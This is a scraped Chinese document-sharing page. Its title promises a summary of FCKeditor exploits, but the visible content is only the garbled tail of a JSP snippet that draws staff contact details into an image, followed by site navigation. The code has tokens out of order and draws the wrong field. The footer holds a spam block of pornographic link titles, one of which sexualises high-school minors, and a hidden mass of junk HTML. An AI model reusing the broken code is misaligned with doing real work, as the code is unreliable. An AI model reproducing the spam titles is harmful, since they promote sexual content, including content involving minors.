BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);Graphics g = image.getGraphics();g.setColor(Color.white);g.fillRect(0, 0, width, height);g.setColor(Color.BLUE);Font font=new Font(”宋體“,Font.PLAIN,13);g.setFont(font);int row=0;</p><p>String typeid = ”“;</p><p>String typename=”“;</p><p>String name = ”“;</p><p>String tel=”“;</p><p>String mail = ”“;</p><p>String mobile=”“;</p><p>for(int i=0;i<typeList.size();i++){</p><p>HashMap hm=(HashMap)typeList.get(i);</p><p>typeid=(String)hm.get(”TYPE_ID“);</p><p>typename=(String)hm.get(”TYPE_NAME“);</p><p>row++;</p><p>g.drawString(typename,0,(row-1)*rowheight+10);</p><p>List staffs =(List)dao.findSupportStaffByTypeId(typeid);</p><p>for(int k=0;k<staffs.size();k++){</p><p>HashMap map =(HashMap)staffs.get(k);</p><p>name =(String)map.get(”NAME“);</p><p>tel =(String)map.get(”TEL“);</p><p>mail =(String)map.get(”MAIL“);</p><p>mobile =(String)map.get(”MOBILE“);</p><p>row++;</p><p>g.drawString(name+”:"+tel,0,(row-1)*rowheight+10);</p><p>row++;</p><p>g.drawString(mail,0,(row-1)*rowheight+10);</p><p>if(mobile!=null){</p><p>row++;</p><p>g.drawString(mail,0,(row-1)*rowheight+10);} 19 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>} } g.dispose();ServletOutputStream outStream = response.getOutputStream();</p><p>JPEGImageEncoder encoder encoder.encode(image);outStream.close();=JPEGCodec.createJPEGEncoder(outStream);%> </td> </tr></p><p></TBODY> </table> </div> </article> <a href="#" tpid="25" target="_self" class="download_card jhcdown" rel="nofollow"> <img class="download_card_pic" src="http://static.xiexiebang.com/skin/default/images/icon_word.png" alt="下載Fckeditor漏洞利用總結(五篇范文)word格式文檔"> <div id="jdb3l39rxn9" class="download_card_msg"> <div id="jdb3l39rxn9" class="download_card_title" style="text-decoration:none;">下載Fckeditor漏洞利用總結(五篇范文).doc</div> <div id="jdb3l39rxn9" class="download_card_tip">將本文檔下載到自己電腦,方便修改和收藏,請勿使用迅雷等下載。</div> </div> <div id="jdb3l39rxn9" class="download_card_btn"> <img src="http://static.xiexiebang.com/skin/default/images/icon_download.png"> <div id="jdb3l39rxn9" class="downlod_btn_right"> <div>點此處下載文檔</div> <p>文檔為doc格式</p> </div> </div> </a> <div id="jdb3l39rxn9" class="post-tags mt20 mb30"><span>相關專題</span> <a href="/tag/jxgzzjczwt/" target="_blank">教學工作總結存在問題</a> <a href="/tag/xzgzzjczwt/" target="_blank">鄉鎮工作總結存在問題</a> <a href="/tag/grzjdwthbz/" target="_blank">個人總結的問題和不足</a> </div> <div id="jdb3l39rxn9" class="single-info mb40"><span id="jdb3l39rxn9" class="hidden-xs ">網址:http://www.tmdps.cn/a9/2019051321/6cad02c80bc5543e.html</span><br>聲明:本文內容由互聯網用戶自發貢獻自行上傳,本網站不擁有所有權,未作人工編輯處理,也不承擔相關法律責任。如果您發現有涉嫌版權的內容,歡迎發送郵件至:645879355@qq.com 進行舉報,并提供相關證據,工作人員會在5個工作日內聯系你,一經查實,本站將立刻刪除涉嫌侵權內容。 </div> <div id="jdb3l39rxn9" class="single-xg mb40"> <div id="jdb3l39rxn9" class="con-title"> <h3><a name="6"></a>相關范文推薦</h3> </div> <div id="jdb3l39rxn9" class="sticky mb20"> <ul><h2 class="mb20"><a href="/a14/201905152/f0dcc59e96450502.html" target="_blank">工作上的漏洞</a></h2><p>一、工作上的漏洞 (一) 具體體現: 1、 學習不夠,沒有把科學發展觀理論與學校教育教學緊密結合。在運用科學發展理論來指導教育教學時,眼光過度關注學校發展,忽視了科學發展理論對......</p><h2 class="mb20"><a href="/a14/2019051422/575531ef31580d8a.html" target="_blank">漏洞排查情況報告(★)</a></h2><p>縣農村信用合作聯社科技信息部 內部控制缺陷和漏洞梳理排查情況進展報告 風險合規部: 《關于印發縣農村信用合作聯社內部控制缺陷和漏洞梳理排查工作實施細則的通知》(農信發﹝2......</p><h2 class="mb20"><a href="/a8/2019051317/52ca3748c7b31c41.html" target="_blank">內控漏洞案例</a></h2><p>不相容職務不分離案例案例一 2004年10月19號,北京市中級人民法院開庭審理原國家自然科學基金委員會資金管理處會計卞中涉嫌貪污挪用公款2.2億元的巨額資金一案,卞中被判死緩。......</p><h2 class="mb20"><a href="/a8/2019051513/a8e83a22d7bdee5c.html" target="_blank">資源利用總結</a></h2><p>資源綜合利用情況總結我公司自2012年3月通過資源綜合利用企業再認定以來,緊緊抓住城市綜合建設、小城鎮新規劃快速發展對水泥需求較大有利機遇,把資源綜合利用工作作為生產經......</p><h2 class="mb20"><a href="/a2/2019051218/a0c34487cbeee142.html" target="_blank">開展“查管理,堵漏洞”活動總結</a></h2><p>開展“查管理,堵漏洞”活動總結 4月10日,我們收聽了國家電力公司關于開展“求真務實、作風建設年”活動的電視電話會議,這個會議體現了國電公司領導對作風建設的高度重視。會后......</p><h2 class="mb20"><a href="/fanwen/zhenggai/7e2d39bdb8a54343.html" target="_blank">網站漏洞整改報告</a></h2><p>網站安全整改報告 收到教育局中心機房發來的網站安全漏洞檢測報告,對被檢測的域名地址進行確認,我校主要近階段處在新舊網站交替時期,舊網站還沒有退役,新網站也已上線。被檢測......</p><h2 class="mb20"><a href="/a11/2019051416/289551f9623cb0dc.html" target="_blank">漏洞整改報告IDC-ISP</a></h2><p>漏洞整改報告 1. 漏洞信息 Apache Struts2遠程命令執行漏洞,可以遠程執行命令,獲取敏感信息。 2. 漏洞原因分析 Apache Struts2 版本較低, 不是最新版本; 3. 漏洞處理過程 升......</p><h2 class="mb20"><a href="/a11/2019051416/eb923171beb3db53.html" target="_blank">超市收銀漏洞如何監管</a></h2><p>超市收銀漏洞如何監管 收銀漏洞說白了就是收銀員有這樣那樣的損公肥私(包括家人)行為,將本不屬于自己的錢據為己有,超市方卻又無法做到真正的控制。收銀漏洞這樣的行為放任下去,......</p></ul> </div> </div> </div> </div> <div id="jdb3l39rxn9" class="right-content-box wow fadeInRight delay300 right-content"> <script src="/e/member/login/loginjs.php"></script> <div id="jdb3l39rxn9" class="sidebar"> <div class="jdb3l39rxn9" id="sidebar" role="complementary"> <aside id="recent-posts-3" class="widget widget_recent_entries"> <h3 class="widget-title">猜你喜歡</h3> <ul class="new-list"><li><a href="/a13/2019051423/51eb67686e65520c.html" title="信訪制度的漏洞" target="_blank">信訪制度的漏洞</a></li><li><a href="/a10/2019051322/9a5064d3f3f3a5df.html" title="杭州酒店財務管理漏洞" target="_blank">杭州酒店財務管理漏洞</a></li><li><a href="/a14/201905151/821a6ff447138ee9.html" title="如何改進現行財務漏洞" target="_blank">如何改進現行財務漏洞</a></li><li><a href="/a5/2019051315/2540cd0fb8be8c69.html" title="網站漏洞整改報告" target="_blank">網站漏洞整改報告</a></li><li><a href="/a6/2019051318/5bf3b546d4c13593.html" title="生物資源與利用總結范文大全" target="_blank">生物資源與利用總結范文大全</a></li><li><a href="/fanwen/zhenggai/eb6d9f1bbb8b541f.html" title="網站漏洞整改報告(五篇材料)" target="_blank">網站漏洞整改報告(五篇材料)</a></li><li><a href="/a14/2019051422/f0bd0b8154ae6297.html" title="監外執行:須多方堵塞“漏洞”(范文模版)" target="_blank">監外執行:須多方堵塞“漏洞”(范文模版)</a></li><li><a href="/a3/2019051221/ca7eacad6c2f655c.html" title="制度漏洞評估分析報告" target="_blank">制度漏洞評估分析報告</a></li><li><a href="/a3/2019051222/8b5866495950d76d.html" title="勞動合同法19個漏洞和缺陷" target="_blank">勞動合同法19個漏洞和缺陷</a></li><li><a href="/a10/2019051416/f5037862421d735e.html" title="餐飲管理軟件怎么防止收銀漏洞(合集)" target="_blank">餐飲管理軟件怎么防止收銀漏洞(合集)</a></li></ul> </aside> </div> </div> </div> </div> </div> </section> <section id="footer" class="p30"> <div id="jdb3l39rxn9" class="container"> <div id="jdb3l39rxn9" class="footer-top clearfix"> <div id="jdb3l39rxn9" class="copyr"> <div id="jdb3l39rxn9" class="footer-menu clearfix mb10"> <ul class="footer-menu-con"> <li><a href="/a1/">1號文庫</a></li><li><a href="/a2/">2號文庫</a></li><li><a href="/a3/">3號文庫</a></li><li><a href="/a4/">4號文庫</a></li><li><a href="/a5/">5號文庫</a></li><li><a href="/a6/">6號文庫</a></li><li><a href="/a7/">7號文庫</a></li><li><a href="/a8/">8號文庫</a></li><li><a href="/a9/">9號文庫</a></li><li><a href="/a10/">10號文庫</a></li><li><a href="/a11/">11號文庫</a></li><li><a href="/a12/">12號文庫</a></li><li><a href="/a13/">13號文庫</a></li><li><a href="/a14/">14號文庫</a></li><li><a href="/a15/">15號文庫</a></li> </ul> </div> <p>Copyright ? 2018 <a href="/">寫寫幫文庫</a> All Rights Reserved   <a target="_blank" href="http://www.beian.miit.gov.cn" rel="nofollow"> 浙ICP備11058632號</a>   <script type="text/javascript" src="http://static.xiexiebang.com/skin/default/js/tj.js"></script></p> </div> </div> </div> </section> <script type='text/javascript' src='//static.xiexiebang.com/skin/default/js/superfish.js'></script> <script type='text/javascript' src='//static.xiexiebang.com/skin/default/js/jquery.slicknav.js'></script> <script type='text/javascript' src='//static.xiexiebang.com/skin/default/js/xs.js'></script> <div id="jdb3l39rxn9" class="right_bar hidden-xs "> <ul> <li id="jdb3l39rxn9" class="rtbar_li1" style="left: 0px;"><a><img src="http://static.xiexiebang.com/skin/default/images/rtbar_liicon3.png"><span id="call_tel"></span></a></li> <li id="jdb3l39rxn9" class="rtbar_li2"> <a href="javascript:void(0);"> <img src="http://static.xiexiebang.com/skin/default/images/rtbar_liicon4.png"> </a> <div id="jdb3l39rxn9" class="rtbar_shwx" style="display: none;"> <img width="188" height="188" alt="微信二維碼" src="http://static.xiexiebang.com/skin/default/images/wechat.png"> </div> </li> <li id="jdb3l39rxn9" class="rtbar_li3" style="left: 0px;"> <a href="tencent://message/?uin=2261362615&Menu=yes"> <img src="http://static.xiexiebang.com/skin/default/images/rtbar_liicon2.png"> 點擊咨詢 </a> </li> <li id="jdb3l39rxn9" class="rtbar_li5"><a href="#1">第一篇</a></li> <li id="jdb3l39rxn9" class="rtbar_li6"><a href="#2">第二篇</a></li> <li id="jdb3l39rxn9" class="rtbar_li7"><a href="#3">第三篇</a></li> <li id="jdb3l39rxn9" class="rtbar_li8"><a href="#4">第四篇</a></li> <li id="jdb3l39rxn9" class="rtbar_li9"><a href="#5">第五篇</a></li> <li id="jdb3l39rxn9" class="rtbar_li10"><a href="#6">更 多</a></li> <li id="jdb3l39rxn9" class="rtbar_li4 gotop"> <a href=""><img src="http://static.xiexiebang.com/skin/default/images/rtbar_liicon1.png"> </a></li> </ul> </div> <footer> <div class="friendship-link"> <p>感谢您访问我们的网站,您可能还对以下资源感兴趣:</p> <a href="http://www.tmdps.cn/" title="久久99精品久久久久久琪琪">久久99精品久久久久久琪琪</a> <div class="friend-links"> </div> </div> </footer> 主站蜘蛛池模板: <a href="http://02878.cn" target="_blank">菠萝菠萝蜜午夜视频在线播放观看</a>| <a href="http://fakeiwcwatches.cn" target="_blank">粉嫩被粗大进进出出视频</a>| <a href="http://fufj.com.cn" target="_blank">99噜噜噜在线播放</a>| <a href="http://523mx.cn" target="_blank">国产免费无遮挡吸乳视频</a>| <a href="http://304ii.cn" target="_blank">亚洲精品乱码久久久久久久久久久久</a>| <a href="http://025clean.cn" target="_blank">国产精品亚洲二区在线播放</a>| <a href="http://foudeng.cn" target="_blank">成人欧美日韩一区二区三区</a>| <a href="http://inaiping.cn" target="_blank">久久亚洲精品无码观看不卡</a>| <a href="http://gzmozhaoji.com.cn" target="_blank">精品三级久久久久电影我网</a>| <a href="http://infosou.cn" target="_blank">蜜臀精品无码av在线播放</a>| <a href="http://66yss.cn" target="_blank">成人性欧美丨区二区三区</a>| <a href="http://shmilyhome.cn" target="_blank">国产夫妇肉麻对白</a>| <a href="http://green-clean.com.cn" target="_blank">精品国产香蕉伊思人在线</a>| <a href="http://cqjiangren.cn" target="_blank">18成人片黄网站www</a>| <a href="http://jiubajiu.cn" target="_blank">日本嫩交12一16xxx视频</a>| <a href="http://sankuaizhuan.cn" target="_blank">亚洲精品无码专区在线</a>| <a href="http://gelare.cn" target="_blank">丰满人妻无奈张开双腿av</a>| <a href="http://globalbestdeals.cn" target="_blank">亚洲伊人成综合网</a>| <a href="http://tjhuanlian.cn" target="_blank">好紧好湿好黄的视频</a>| <a href="http://gzhouhuayu.cn" target="_blank">久久性色欲av免费精品观看</a>| <a href="http://shagen.org.cn" target="_blank">亚洲成a人片77777国产</a>| <a href="http://kfqcc.cn" target="_blank">野花社区视频在线观看</a>| <a href="http://gaihuo.cn" target="_blank">成人区精品一区二区不卡av免费</a>| <a href="http://559xp5.cn" target="_blank">亚洲中文字幕av无码专区</a>| <a href="http://gzwengsa.cn" target="_blank">亚洲国产精品久久久久秋霞影院</a>| <a href="http://dxcw.com.cn" target="_blank">中文字幕理伦午夜福利片</a>| <a href="http://changxinjtss.cn" target="_blank">熟女人妻aⅴ一区二区三区电影</a>| <a href="http://txx9.cn" target="_blank">亚洲熟妇无码一区二区三区</a>| <a href="http://jrhungchi.cn" target="_blank">国产00高中生在线无套进入</a>| <a href="http://plajx.cn" target="_blank">精品成人av一区二区三区</a>| <a href="http://050852.cn" target="_blank">成年女人毛片免费视频</a>| <a href="http://abyv.cn" target="_blank">日韩精品成人av在线观看</a>| <a href="http://intogold.com.cn" target="_blank">成人午夜福利视频后入</a>| <a href="http://zaijiang.cn" target="_blank">最新的国产成人精品2022</a>| <a href="http://higuizhou.com.cn" target="_blank">日韩人妻无码精品—专区</a>| <a href="http://fangpian.org.cn" target="_blank">一本色道无码不卡在线观看</a>| <a href="http://jsqjf.cn" target="_blank">美女内射毛片在线看3d</a>| <a href="http://gywlcn.cn" target="_blank">精品一区二区三区在线视频</a>| <a href="http://pxuzhongmei.cn" target="_blank">狠狠躁18三区二区一区ai明星</a>| <a href="http://qzshy.com.cn" target="_blank">欧美极品少妇无套实战</a>| <a href="http://hrd776.cn" target="_blank">av狼友无码国产在线观看</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body><div id="gqgcc" class="pl_css_ganrao" style="display: none;"><table id="gqgcc"><nav id="gqgcc"><center id="gqgcc"></center></nav></table><button id="gqgcc"><tbody id="gqgcc"><strike id="gqgcc"></strike></tbody></button><sup id="gqgcc"><li id="gqgcc"><input id="gqgcc"></input></li></sup><center id="gqgcc"></center><sup id="gqgcc"><button id="gqgcc"><input id="gqgcc"></input></button></sup><table id="gqgcc"></table><dd id="gqgcc"><pre id="gqgcc"><menu id="gqgcc"></menu></pre></dd><dl id="gqgcc"><sup id="gqgcc"><li id="gqgcc"></li></sup></dl><bdo id="gqgcc"></bdo><noscript id="gqgcc"><code id="gqgcc"><tr id="gqgcc"></tr></code></noscript><rt id="gqgcc"></rt><bdo id="gqgcc"><source id="gqgcc"><del id="gqgcc"></del></source></bdo><input id="gqgcc"></input><ul id="gqgcc"></ul><strike id="gqgcc"></strike><bdo id="gqgcc"><dd id="gqgcc"><pre id="gqgcc"></pre></dd></bdo><sup id="gqgcc"><bdo id="gqgcc"><source id="gqgcc"></source></bdo></sup><dd id="gqgcc"></dd><kbd id="gqgcc"></kbd><source id="gqgcc"></source><tr id="gqgcc"></tr><ul id="gqgcc"><table id="gqgcc"><strike id="gqgcc"></strike></table></ul><dl id="gqgcc"></dl><small id="gqgcc"><tfoot id="gqgcc"><delect id="gqgcc"></delect></tfoot></small><samp id="gqgcc"></samp><input id="gqgcc"><strike id="gqgcc"><samp id="gqgcc"></samp></strike></input><tfoot id="gqgcc"></tfoot><object id="gqgcc"><sup id="gqgcc"><li id="gqgcc"></li></sup></object><em id="gqgcc"></em><option id="gqgcc"></option><li id="gqgcc"></li><dfn id="gqgcc"></dfn><tbody id="gqgcc"></tbody><tfoot id="gqgcc"></tfoot><bdo id="gqgcc"><tbody id="gqgcc"><abbr id="gqgcc"></abbr></tbody></bdo><nav id="gqgcc"><dl id="gqgcc"><xmp id="gqgcc"></xmp></dl></nav><nav id="gqgcc"></nav><pre id="gqgcc"></pre><object id="gqgcc"></object><noframes id="gqgcc"><dl id="gqgcc"><xmp id="gqgcc"></xmp></dl></noframes><th id="gqgcc"><blockquote id="gqgcc"><noscript id="gqgcc"></noscript></blockquote></th><cite id="gqgcc"></cite><samp id="gqgcc"><em id="gqgcc"><strong id="gqgcc"></strong></em></samp><td id="gqgcc"></td><ul id="gqgcc"></ul><noscript id="gqgcc"><th id="gqgcc"><ul id="gqgcc"></ul></th></noscript><abbr id="gqgcc"></abbr><strike id="gqgcc"></strike><tbody id="gqgcc"><s id="gqgcc"><dfn id="gqgcc"></dfn></s></tbody><object id="gqgcc"></object><fieldset id="gqgcc"></fieldset><cite id="gqgcc"></cite><table id="gqgcc"></table><xmp id="gqgcc"></xmp><dd id="gqgcc"></dd><optgroup id="gqgcc"></optgroup><del id="gqgcc"><abbr id="gqgcc"><tfoot id="gqgcc"></tfoot></abbr></del><input id="gqgcc"><strike id="gqgcc"><button id="gqgcc"></button></strike></input><wbr id="gqgcc"><sup id="gqgcc"><table id="gqgcc"></table></sup></wbr><menu id="gqgcc"><dd id="gqgcc"><pre id="gqgcc"></pre></dd></menu><abbr id="gqgcc"></abbr><pre id="gqgcc"></pre><optgroup id="gqgcc"><fieldset id="gqgcc"><dd id="gqgcc"></dd></fieldset></optgroup><table id="gqgcc"></table><option id="gqgcc"></option><li id="gqgcc"></li><pre id="gqgcc"></pre><em id="gqgcc"></em><noframes id="gqgcc"></noframes><dd id="gqgcc"></dd><noframes id="gqgcc"></noframes><object id="gqgcc"></object><menu id="gqgcc"></menu><abbr id="gqgcc"></abbr><tr id="gqgcc"></tr><td id="gqgcc"><center id="gqgcc"><optgroup id="gqgcc"></optgroup></center></td><noscript id="gqgcc"><th id="gqgcc"><tr id="gqgcc"></tr></th></noscript><em id="gqgcc"></em><sup id="gqgcc"></sup><pre id="gqgcc"></pre><dd id="gqgcc"></dd><pre id="gqgcc"><noframes id="gqgcc"><cite id="gqgcc"></cite></noframes></pre><dl id="gqgcc"></dl><em id="gqgcc"></em><fieldset id="gqgcc"></fieldset><pre id="gqgcc"></pre><td id="gqgcc"></td><wbr id="gqgcc"></wbr><wbr id="gqgcc"></wbr><bdo id="gqgcc"><source id="gqgcc"><del id="gqgcc"></del></source></bdo><fieldset id="gqgcc"><dd id="gqgcc"><small id="gqgcc"></small></dd></fieldset><button id="gqgcc"><bdo id="gqgcc"><dd id="gqgcc"></dd></bdo></button><blockquote id="gqgcc"></blockquote><th id="gqgcc"></th><cite id="gqgcc"><center id="gqgcc"><em id="gqgcc"></em></center></cite><table id="gqgcc"></table><tr id="gqgcc"></tr><pre id="gqgcc"></pre><sup id="gqgcc"></sup><fieldset id="gqgcc"></fieldset><sup id="gqgcc"><bdo id="gqgcc"><source id="gqgcc"></source></bdo></sup><dd id="gqgcc"></dd><source id="gqgcc"></source><pre id="gqgcc"></pre><wbr id="gqgcc"></wbr><ul id="gqgcc"></ul><cite id="gqgcc"></cite><abbr id="gqgcc"></abbr><option id="gqgcc"><object id="gqgcc"><tfoot id="gqgcc"></tfoot></object></option><button id="gqgcc"></button><noscript id="gqgcc"></noscript><code id="gqgcc"></code><tr id="gqgcc"></tr><noscript id="gqgcc"></noscript><strike id="gqgcc"></strike><object id="gqgcc"></object><blockquote id="gqgcc"></blockquote><optgroup id="gqgcc"><td id="gqgcc"><kbd id="gqgcc"></kbd></td></optgroup><cite id="gqgcc"></cite><dfn id="gqgcc"></dfn><tr id="gqgcc"></tr><button id="gqgcc"></button><menu id="gqgcc"></menu><source id="gqgcc"><dfn id="gqgcc"><kbd id="gqgcc"></kbd></dfn></source><s id="gqgcc"></s><pre id="gqgcc"></pre><dfn id="gqgcc"></dfn><center id="gqgcc"></center><code id="gqgcc"><wbr id="gqgcc"><sup id="gqgcc"></sup></wbr></code><li id="gqgcc"><source id="gqgcc"><dfn id="gqgcc"></dfn></source></li><wbr id="gqgcc"></wbr><code id="gqgcc"></code><ul id="gqgcc"></ul><table id="gqgcc"><cite id="gqgcc"><center id="gqgcc"></center></cite></table><pre id="gqgcc"></pre><td id="gqgcc"></td><source id="gqgcc"></source><fieldset id="gqgcc"></fieldset><fieldset id="gqgcc"></fieldset><li id="gqgcc"><input id="gqgcc"><xmp id="gqgcc"></xmp></input></li><bdo id="gqgcc"><source id="gqgcc"><button id="gqgcc"></button></source></bdo><pre id="gqgcc"><tr id="gqgcc"><cite id="gqgcc"></cite></tr></pre><samp id="gqgcc"></samp><xmp id="gqgcc"><button id="gqgcc"><source id="gqgcc"></source></button></xmp><nav id="gqgcc"><center id="gqgcc"><acronym id="gqgcc"></acronym></center></nav><delect id="gqgcc"></delect><ul id="gqgcc"></ul><blockquote id="gqgcc"></blockquote><tr id="gqgcc"></tr><kbd id="gqgcc"></kbd></div> </html>